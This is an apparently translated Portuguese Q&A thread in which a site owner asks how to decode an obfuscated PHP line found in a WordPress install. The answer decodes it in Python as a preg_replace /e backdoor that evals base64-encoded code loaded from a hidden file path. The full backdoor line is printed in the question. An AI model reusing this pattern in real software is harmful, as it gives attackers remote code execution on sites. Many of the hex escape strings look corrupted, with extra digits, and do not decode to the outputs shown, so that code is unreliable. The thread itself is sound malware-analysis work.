Como decodifico este hack do WordPress? [fechadas]

5

Encontrei uma string ofensiva no site do WordPress de um cliente, e só quero saber o que ela faz.

@preg_replace("\x40\x2e\x290\x695","\x656\x614\x282\x613\x65\x347\x645\x637\x645\x281\x6d0\x6c7\x645\x28\x5c6\x22\x661\x6c5\x282\x613\x65\x347\x645\x637\x645\x28\x5c\x22\x29\x29\x3b","\x4c\x686\x627\x556\x64\x561\x4c\x562\x5a0\x4a2\x4c2\x497\x4d2\x6b5\x595\x6c6\x4e1\x392\x610\x524\x631\x391\x617\x63\x4c\x42\x595\x780\x59\x397\x647\x313\x4c\x5a6\x636\x564\x4c\x4a1\x4c7\x6c5\x59\x78\x5a7\x562\x4c\x702\x4c\x700\x647\x561\x653\x385\x59\x462\x617\x556\x4c1\x55\x4d2\x686\x4a4\x417\x4d4\x4d4\x512\x687\x4d1\x563\x512\x463\x4a5\x491\x4d3\x494\x4e5\x59\x4e7\x3d");

Alguém pode descrever os passos necessários para decodificar isso? Eu sei o que preg_replace () é, mas eu não sei como decodificar os argumentos para a função, ou como o PHP a processa em algo que ela possa usar.

    
por Dennis Wurster 18.03.2011 / 23:38

1 resposta

10

Interessante. Eu gosto de usar python para esse tipo de tarefa. Você pode seguir em uma linha de comando em python (3.x):

Entrada:

print(b"\x40\x2e\x290\x695")

Saída:

b'@(.+)@ie'

Entrada:

print(b"\x656\x614\x282\x613\x65\x347\x645\x637\x645\x281\x6d0\x6c7\x645\x28\x5c6\x22\x661\x6c5\x282\x613\x65\x347\x645\x637\x645\x28\x5c\x22\x29\x29\x3b","\x4c\x686\x627\x556\x64\x561\x4c\x562\x5a0\x4a2\x4c2\x497\x4d2\x6b5\x595\x6c6\x4e1\x392\x610\x524\x631\x391\x617\x63\x4c\x42\x595\x780\x59\x397\x647\x313\x4c\x5a6\x636\x564\x4c\x4a1\x4c7\x6c5\x59\x78\x5a7\x562\x4c\x702\x4c\x700\x647\x561\x653\x385\x59\x462\x617\x556\x4c1\x55\x4d2\x686\x4a4\x417\x4d4\x4d4\x512\x687\x4d1\x563\x512\x463\x4a5\x491\x4d3\x494\x4e5\x59\x4e7\x3d")

Saída:

b'eval(base64_decode(implode("\n",file(base64_decode("\1")))));' L2hvbWUvd2ViL3VzZXJzLzIwMjkuYmlnNi9zaXRlcy9iaWc2L3B1YmxpY19odG1sL2ZvcnVtL2JiLWluY2x1ZGVzL2pzL2pxdWVyeS8uY2FjaGUvLiU4MjhFJTAwMTMlQjhGMyVCQzFCJUIyMkIlNEY1Nw==

Esse pedaço de lixo é de base64, como a ligação implicaria, então vamos continuar.

Entrada:

import base64
base64.b64decode(b"L2hvbWUvd2ViL3VzZXJzLzIwMjkuYmlnNi9zaXRlcy9iaWc2L3B1YmxpY19odG1sL2ZvcnVtL2JiLWluY2x1ZGVzL2pzL2pxdWVyeS8uY2FjaGUvLiU4MjhFJTAwMTMlQjhGMyVCQzFCJUIyMkIlNEY1Nw==")

Saída:

b'/home/web/users/2029.big6/sites/big6/public_html/forum/bb-includes/js/jquery/.cache/.%828E%0013%B8F3%BC1B%B22B%4F57'

Parece ter uma boa ideia do que está acontecendo, um olhar mais atento seria necessário no resto do site, particularmente no arquivo que está referenciando; provavelmente está cheio de mais linhas de código codificado em base64. Eu acho que é seguro assumir que o site está muito bem comprometido, entretanto ... é uma boa idéia puxar o conteúdo e limpar algo assim, e começar de novo com uma nova instância.

    
por 18.03.2011 / 23:54